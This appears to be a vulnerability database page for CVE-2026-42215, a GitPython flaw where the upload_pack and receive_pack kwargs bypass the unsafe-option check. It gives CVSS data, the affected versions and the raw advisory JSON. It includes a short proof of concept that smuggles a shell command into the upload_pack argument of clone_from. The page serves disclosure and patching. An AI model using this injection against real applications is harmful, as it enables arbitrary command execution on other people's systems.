Security Vulnerability Report
中文
CVE-2026-42215 CVSS 8.8 HIGH

CVE-2026-42215

Published: 2026-05-07 19:16:02
Last Modified: 2026-05-11 17:45:40

Description

GitPython is a python library used to interact with Git repositories. From version 3.1.30 to before version 3.1.47, GitPython blocks dangerous Git options such as --upload-pack and --receive-pack by default, but the equivalent Python kwargs upload_pack and receive_pack bypass that check. If an application passes attacker-controlled kwargs into Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push(), this leads to arbitrary command execution even when allow_unsafe_options is left at its default value of False. This issue has been patched in version 3.1.47.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:gitpython_project:gitpython:*:*:*:*:*:python:*:* - VULNERABLE
GitPython >= 3.1.30, < 3.1.47

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import git # Vulnerable Scenario: App accepts user input for kwargs # Attacker controls the 'upload_pack' argument attacker_controlled_kwargs = { 'upload_pack': '; touch /tmp/pwned #' # Injected command } # The application calls clone_from with attacker-controlled kwargs try: # This bypasses the check for '--upload-pack' because it uses the kwarg git.Repo.clone_from('https://github.com/user/repo.git', '/tmp/repo', **attacker_controlled_kwargs) except Exception as e: print(e)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-42215", "sourceIdentifier": "[email protected]", "published": "2026-05-07T19:16:01.640", "lastModified": "2026-05-11T17:45:39.707", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "GitPython is a python library used to interact with Git repositories. From version 3.1.30 to before version 3.1.47, GitPython blocks dangerous Git options such as --upload-pack and --receive-pack by default, but the equivalent Python kwargs upload_pack and receive_pack bypass that check. If an application passes attacker-controlled kwargs into Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push(), this leads to arbitrary command execution even when allow_unsafe_options is left at its default value of False. This issue has been patched in version 3.1.47."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gitpython_project:gitpython:*:*:*:*:*:python:*:*", "versionStartIncluding": "3.1.30", "versionEndExcluding": "3.1.47", "matchCriteriaId": "701208D3-FB36-4DB9-9553-7325AA3B3B9F"}]}]}], "references": [{"url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47", "source": "[email protected]", "tags": ["Patch", "Release Notes"]}, {"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rpm5-65cw-6hj4", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rpm5-65cw-6hj4", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}